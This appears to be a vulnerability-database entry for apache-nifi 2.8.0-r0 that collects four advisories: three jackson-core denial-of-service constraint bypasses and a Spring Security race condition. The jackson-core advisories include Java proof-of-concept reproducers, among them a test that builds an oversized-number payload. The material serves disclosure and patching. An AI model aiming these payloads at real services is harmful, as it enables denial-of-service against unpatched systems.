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Vulnerability from cleanstart
Published
2026-07-30 07:10
Modified
2026-07-30 09:35
Summary
Security fixes in apache-nifi 2.8.0-r0
Details
Package apache-nifi version 2.8.0-r0 fixes 4 vulnerabilities: ghsa-x2wq-9x2f-fhj7, ghsa-72hv-8253-57qq, ghsa-6v53-7c9g-w56r, ghsa-2m67-wjpj-xhg9
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "apache-nifi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.8.0-r0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.8.0-r0"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package apache-nifi version 2.8.0-r0 fixes 4 vulnerabilities: ghsa-x2wq-9x2f-fhj7, ghsa-72hv-8253-57qq, ghsa-6v53-7c9g-w56r, ghsa-2m67-wjpj-xhg9",
"id": "CLEANSTART-2026-HO81161",
"modified": "2026-07-30T09:35:45Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apache/nifi"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in apache-nifi 2.8.0-r0",
"upstream": [
"ghsa-x2wq-9x2f-fhj7",
"ghsa-72hv-8253-57qq",
"ghsa-6v53-7c9g-w56r",
"ghsa-2m67-wjpj-xhg9"
]
}
GHSA-2M67-WJPJ-XHG9
Vulnerability from github – Published: 2026-04-04 04:17 – Updated: 2026-04-08 22:42
VLAI
Summary
Jackson Core: Document length constraint bypass in blocking, async, and DataInput parsers
Details
Summary
Jackson Core 3.x does not consistently enforce StreamReadConstraints.maxDocumentLength. Oversized JSON documents can be accepted without a StreamConstraintsException in multiple parser entry points, which allows configured size limits to be bypassed and weakens denial-of-service protections.
Details
Three code paths where maxDocumentLength is not fully enforced:
1. Blocking parsers skip validation of the final in-memory buffer
Blocking parsers validate only previously processed buffers, not the final in-memory buffer:
ReaderBasedJsonParser.java:255UTF8StreamJsonParser.java:208
Relevant code:
_currInputProcessed += bufSize;
_streamReadConstraints.validateDocumentLength(_currInputProcessed);
This means the check occurs only when a completed buffer is rolled over. If an oversized document is fully contained in the final buffer, parsing can complete without any document-length exception.
2. Async parsers skip validation of the final chunk on end-of-input
Async parsers validate previously processed chunks, but do not validate the final chunk on end-of-input:
NonBlockingByteArrayJsonParser.java:49NonBlockingByteBufferJsonParser.java:57NonBlockingUtf8JsonParserBase.java:75
Relevant code:
_currInputProcessed += _origBufferLen;
_streamReadConstraints.validateDocumentLength(_currInputProcessed);
public void endOfInput() {
_endOfInput = true;
}
endOfInput() marks EOF but does not perform a final validateDocumentLength(...) call, so an oversized last chunk is accepted.
3. DataInput parser path does not enforce maxDocumentLength at all
JsonFactory.java:457
Relevant construction path:
int firstByte = ByteSourceJsonBootstrapper.skipUTF8BOM(input);
return new UTF8DataInputJsonParser(readCtxt, ioCtxt,
readCtxt.getStreamReadFeatures(_streamReadFeatures),
readCtxt.getFormatReadFeatures(_formatReadFeatures),
input, can, firstByte);
UTF8DataInputJsonParser does not call StreamReadConstraints.validateDocumentLength(...), so maxDocumentLength is effectively disabled for createParser(..., DataInput) users.
Note: This issue appears distinct from the recently published nesting-depth and number-length constraint advisories because it affects document-length enforcement.
PoC
Async path reproducer
import java.nio.charset.StandardCharsets;
import tools.jackson.core.JsonParser;
import tools.jackson.core.ObjectReadContext;
import tools.jackson.core.StreamReadConstraints;
import tools.jackson.core.async.ByteArrayFeeder;
import tools.jackson.core.json.JsonFactory;
public class Poc {
public static void main(String[] args) throws Exception {
JsonFactory factory = JsonFactory.builder()
.streamReadConstraints(StreamReadConstraints.builder()
.maxDocumentLength(10L)
.build())
.build();
byte[] doc = "{\"a\":1,\"b\":2}".getBytes(StandardCharsets.UTF_8);
try (JsonParser p = factory.createNonBlockingByteArrayParser(ObjectReadContext.empty())) {
ByteArrayFeeder feeder = (ByteArrayFeeder) p.nonBlockingInputFeeder();
feeder.feedInput(doc, 0, doc.length);
feeder.endOfInput();
while (p.nextToken() != null) { }
}
System.out.println("Parsed successfully");
}
}
- Expected result: Parsing should fail because the configured document-length limit is 10, while the input is longer than 10 bytes.
- Actual result: The document is accepted and parsing completes.
Blocking path reproducer
import java.io.ByteArrayInputStream;
import java.nio.charset.StandardCharsets;
import tools.jackson.core.JsonParser;
import tools.jackson.core.StreamReadConstraints;
import tools.jackson.core.json.JsonFactory;
public class Poc2 {
public static void main(String[] args) throws Exception {
JsonFactory factory = JsonFactory.builder()
.streamReadConstraints(StreamReadConstraints.builder()
.maxDocumentLength(10L)
.build())
.build();
byte[] doc = "{\"a\":1,\"b\":2}".getBytes(StandardCharsets.UTF_8);
try (JsonParser p = factory.createParser(new ByteArrayInputStream(doc))) {
while (p.nextToken() != null) { }
}
System.out.println("Parsed successfully");
}
}
Impact
Applications that rely on maxDocumentLength as a safety control for untrusted JSON can accept oversized inputs without error. In network-facing services this weakens an explicit denial-of-service protection and can increase CPU and memory consumption by allowing larger-than-configured request bodies to be processed.
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.0"
},
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-04T04:17:07Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nJackson Core 3.x does not consistently enforce `StreamReadConstraints.maxDocumentLength`. Oversized JSON documents can be accepted without a `StreamConstraintsException` in multiple parser entry points, which allows configured size limits to be bypassed and weakens denial-of-service protections.\n\n## Details\n\nThree code paths where `maxDocumentLength` is not fully enforced:\n\n### 1. Blocking parsers skip validation of the final in-memory buffer\n\nBlocking parsers validate only previously processed buffers, not the final in-memory buffer:\n\n- `ReaderBasedJsonParser.java:255`\n- `UTF8StreamJsonParser.java:208`\n\nRelevant code:\n\n```java\n_currInputProcessed += bufSize;\n_streamReadConstraints.validateDocumentLength(_currInputProcessed);\n```\n\nThis means the check occurs only when a completed buffer is rolled over. If an oversized document is fully contained in the final buffer, parsing can complete without any document-length exception.\n\n### 2. Async parsers skip validation of the final chunk on end-of-input\n\nAsync parsers validate previously processed chunks, but do not validate the final chunk on end-of-input:\n\n- `NonBlockingByteArrayJsonParser.java:49`\n- `NonBlockingByteBufferJsonParser.java:57`\n- `NonBlockingUtf8JsonParserBase.java:75`\n\nRelevant code:\n\n```java\n_currInputProcessed += _origBufferLen;\n_streamReadConstraints.validateDocumentLength(_currInputProcessed);\n\npublic void endOfInput() {\n _endOfInput = true;\n}\n```\n\n`endOfInput()` marks EOF but does not perform a final `validateDocumentLength(...)` call, so an oversized last chunk is accepted.\n\n### 3. DataInput parser path does not enforce `maxDocumentLength` at all\n\n- `JsonFactory.java:457`\n\nRelevant construction path:\n\n```java\nint firstByte = ByteSourceJsonBootstrapper.skipUTF8BOM(input);\nreturn new UTF8DataInputJsonParser(readCtxt, ioCtxt,\n readCtxt.getStreamReadFeatures(_streamReadFeatures),\n readCtxt.getFormatReadFeatures(_formatReadFeatures),\n input, can, firstByte);\n```\n\n`UTF8DataInputJsonParser` does not call `StreamReadConstraints.validateDocumentLength(...)`, so `maxDocumentLength` is effectively disabled for `createParser(..., DataInput)` users.\n\n\u003e **Note:** This issue appears distinct from the recently published nesting-depth and number-length constraint advisories because it affects document-length enforcement.\n\n## PoC\n\n### Async path reproducer\n\n```java\nimport java.nio.charset.StandardCharsets;\nimport tools.jackson.core.JsonParser;\nimport tools.jackson.core.ObjectReadContext;\nimport tools.jackson.core.StreamReadConstraints;\nimport tools.jackson.core.async.ByteArrayFeeder;\nimport tools.jackson.core.json.JsonFactory;\n\npublic class Poc {\n public static void main(String[] args) throws Exception {\n JsonFactory factory = JsonFactory.builder()\n .streamReadConstraints(StreamReadConstraints.builder()\n .maxDocumentLength(10L)\n .build())\n .build();\n\n byte[] doc = \"{\\\"a\\\":1,\\\"b\\\":2}\".getBytes(StandardCharsets.UTF_8);\n\n try (JsonParser p = factory.createNonBlockingByteArrayParser(ObjectReadContext.empty())) {\n ByteArrayFeeder feeder = (ByteArrayFeeder) p.nonBlockingInputFeeder();\n feeder.feedInput(doc, 0, doc.length);\n feeder.endOfInput();\n\n while (p.nextToken() != null) { }\n }\n\n System.out.println(\"Parsed successfully\");\n }\n}\n```\n\n- **Expected result:** Parsing should fail because the configured document-length limit is 10, while the input is longer than 10 bytes.\n- **Actual result:** The document is accepted and parsing completes.\n\n### Blocking path reproducer\n\n```java\nimport java.io.ByteArrayInputStream;\nimport java.nio.charset.StandardCharsets;\nimport tools.jackson.core.JsonParser;\nimport tools.jackson.core.StreamReadConstraints;\nimport tools.jackson.core.json.JsonFactory;\n\npublic class Poc2 {\n public static void main(String[] args) throws Exception {\n JsonFactory factory = JsonFactory.builder()\n .streamReadConstraints(StreamReadConstraints.builder()\n .maxDocumentLength(10L)\n .build())\n .build();\n\n byte[] doc = \"{\\\"a\\\":1,\\\"b\\\":2}\".getBytes(StandardCharsets.UTF_8);\n\n try (JsonParser p = factory.createParser(new ByteArrayInputStream(doc))) {\n while (p.nextToken() != null) { }\n }\n\n System.out.println(\"Parsed successfully\");\n }\n}\n```\n\n## Impact\n\nApplications that rely on `maxDocumentLength` as a safety control for untrusted JSON can accept oversized inputs without error. In network-facing services this weakens an explicit denial-of-service protection and can increase CPU and memory consumption by allowing larger-than-configured request bodies to be processed.",
"id": "GHSA-2m67-wjpj-xhg9",
"modified": "2026-04-08T22:42:15Z",
"published": "2026-04-04T04:17:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-2m67-wjpj-xhg9"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/74c9ee255d1534c179bc7d3de48941bf39a9079c"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Jackson Core: Document length constraint bypass in blocking, async, and DataInput parsers"
}
GHSA-6V53-7C9G-W56R
Vulnerability from github – Published: 2026-03-04 21:23 – Updated: 2026-03-06 21:58
VLAI
Summary
jackson-core has Nesting Depth Constraint Bypass in `UTF8DataInputJsonParser` potentially allowing Resource Exhaustion
Details
Summary
The UTF8DataInputJsonParser, which is used when parsing from a java.io.DataInput source, bypasses the maxNestingDepth constraint (default: 500) defined in StreamReadConstraints.
A similar issue was found in ReaderBasedJsonParser.
This allows a user to supply a JSON document with excessive nesting, which can cause a StackOverflowError when the structure is processed, leading to a Denial of Service (DoS).
The related fix for com.fasterxml.jackson.core:jackson-core, CVE-2025-52999, was not fully applied to tools.jackson.core:jackson-core until the 3.1.0 release. It is recommended that 3.0.x users upgrade.
Patches
jackson-core contains a configurable limit for how deep Jackson will traverse in an input document. This check was missing in a few places in tools.jackson.core:jackson-core.
The change is in https://github.com/FasterXML/jackson-core/pull/1554. jackson-core will throw a StreamConstraintsException if the limit is reached.
jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs.
Workarounds
Users should avoid parsing input files from untrusted sources.
Resources
GHSA-6v53-7c9g-w56r https://nvd.nist.gov/vuln/detail/CVE-2025-52999 https://github.com/FasterXML/jackson-core/pull/1554
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29062"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T21:23:45Z",
"nvd_published_at": "2026-03-06T08:16:26Z",
"severity": "HIGH"
},
"details": "### Summary\nThe `UTF8DataInputJsonParser`, which is used when parsing from a `java.io.DataInput` source, bypasses the `maxNestingDepth` constraint (default: 500) defined in `StreamReadConstraints`.\n\nA similar issue was found in `ReaderBasedJsonParser`.\n\nThis allows a user to supply a JSON document with excessive nesting, which can cause a `StackOverflowError` when the structure is processed, leading to a Denial of Service (DoS).\n\nThe related fix for com.fasterxml.jackson.core:jackson-core, CVE-2025-52999, was not fully applied to tools.jackson.core:jackson-core until the 3.1.0 release. It is recommended that 3.0.x users upgrade.\n\n### Patches\njackson-core contains a configurable limit for how deep Jackson will traverse in an input document. This check was missing in a few places in tools.jackson.core:jackson-core. \n\nThe change is in https://github.com/FasterXML/jackson-core/pull/1554. jackson-core will throw a StreamConstraintsException if the limit is reached.\n\njackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs.\n\n### Workarounds\nUsers should avoid parsing input files from untrusted sources.\n\n### Resources\n[GHSA-6v53-7c9g-w56r](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-6v53-7c9g-w56r)\nhttps://nvd.nist.gov/vuln/detail/CVE-2025-52999\nhttps://github.com/FasterXML/jackson-core/pull/1554",
"id": "GHSA-6v53-7c9g-w56r",
"modified": "2026-03-06T21:58:00Z",
"published": "2026-03-04T21:23:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-6v53-7c9g-w56r"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-h46c-h94j-95f3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52999"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29062"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1554"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/8b25fd67f20583e75fb09564ce1eaab06cd5a902"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core has Nesting Depth Constraint Bypass in `UTF8DataInputJsonParser` potentially allowing Resource Exhaustion"
}
GHSA-72HV-8253-57QQ
Vulnerability from github – Published: 2026-02-28 02:01 – Updated: 2026-08-03 20:32
VLAI
Summary
jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Details
Summary
The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details
The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g.,
_finishNumberIntegralPart) accumulate digits into theTextBufferwithout any length checks. - After parsing, they call
_valueComplete(), which finalizes the token but does not callresetInt()orresetFloat(). - The
resetInt()/resetFloat()methods inParserBaseare where thevalidateIntegerLength()andvalidateFPLength()checks are performed. - Because this validation step is skipped, the
maxNumberLengthconstraint is never enforced in the async code path.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.
Suggested Remediation
The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.
NOTE: This research was performed in collaboration with rohan-repos
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.5"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.15.0"
},
{
"fixed": "2.18.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-28T02:01:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n private static final int MAX_NUMBER_LENGTH = 1000;\n private static final int TEST_NUMBER_LENGTH = 5000;\n\n private final JsonFactory factory = new JsonFactory();\n\n // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n @Test\n void syncParserRejectsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n try {\n try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits \u2014 UNEXPECTED\");\n }\n }\n }\n fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n } catch (StreamConstraintsException e) {\n System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n }\n }\n\n // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n @Test\n void asyncParserAcceptsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n NonBlockingByteArrayJsonParser p =\n (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n p.feedInput(payload, 0, payload.length);\n p.endOfInput();\n\n boolean foundNumber = false;\n try {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n foundNumber = true;\n String numberText = p.getText();\n assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n }\n }\n // Output to console\n System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits \u2014 BUG CONFIRMED\");\n assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n } catch (StreamConstraintsException e) {\n fail(\"Bug is fixed \u2014 async parser now correctly rejects long numbers: \" + e.getMessage());\n }\n p.close();\n }\n\n private byte[] buildPayloadWithLongInteger(int numDigits) {\n StringBuilder sb = new StringBuilder(numDigits + 10);\n sb.append(\"{\\\"v\\\":\");\n for (int i = 0; i \u003c numDigits; i++) {\n sb.append((char) (\u00271\u0027 + (i % 9)));\n }\n sb.append(\u0027}\u0027);\n return sb.toString().getBytes(StandardCharsets.UTF_8);\n }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number\u0027s digits, leading to an `OutOfMemoryError`.\n2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
"id": "GHSA-72hv-8253-57qq",
"modified": "2026-08-03T20:32:01Z",
"published": "2026-02-28T02:01:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1555"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition"
}
GHSA-X2WQ-9X2F-FHJ7
Vulnerability from github – Published: 2026-04-21 21:31 – Updated: 2026-07-17 20:48
VLAI
Summary
Spring Security Core has a TOCTOU race condition when One-Time Token login with JdbcOneTimeTokenService is configured
Details
Vulnerability in Spring Spring Security. Applications that explicitly configure One-Time Token login with JdbcOneTimeTokenService are vulnerable to a Time-of-check Time-of-use (TOCTOU) race condition. This issue affects Spring Security: from 6.4.0 through 6.4.15, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4.
Severity
4.8 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-core"
},
"ranges": [
{
"events": [
{
"introduced": "6.5.0"
},
{
"fixed": "6.5.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-core"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.3"
},
{
"fixed": "7.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-core"
},
"ranges": [
{
"events": [
{
"introduced": "6.4.0"
},
{
"last_affected": "6.4.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22751"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-25T23:38:48Z",
"nvd_published_at": "2026-04-21T19:16:16Z",
"severity": "MODERATE"
},
"details": "Vulnerability in Spring Spring Security. Applications that explicitly configure One-Time Token login with\u00a0JdbcOneTimeTokenService\u00a0are vulnerable to a Time-of-check Time-of-use (TOCTOU) race condition.\u00a0This issue affects Spring Security: from 6.4.0 through 6.4.15, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4.",
"id": "GHSA-x2wq-9x2f-fhj7",
"modified": "2026-07-17T20:48:57Z",
"published": "2026-04-21T21:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22751"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-security/commit/163772775036c4146815a5266874278c6f45f047"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-security/commit/4187af38b251fc97fdf9949f7869618111e6e261"
},
{
"type": "PACKAGE",
"url": "https://github.com/spring-projects/spring-security"
},
{
"type": "WEB",
"url": "https://jinyeong.seol.pro/blogs/cve-2026-22751/en"
},
{
"type": "WEB",
"url": "https://spring.io/security/cve-2026-22751"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Spring Security Core has a TOCTOU race condition when One-Time Token login with\u00a0JdbcOneTimeTokenService\u00a0is configured"
}
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Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
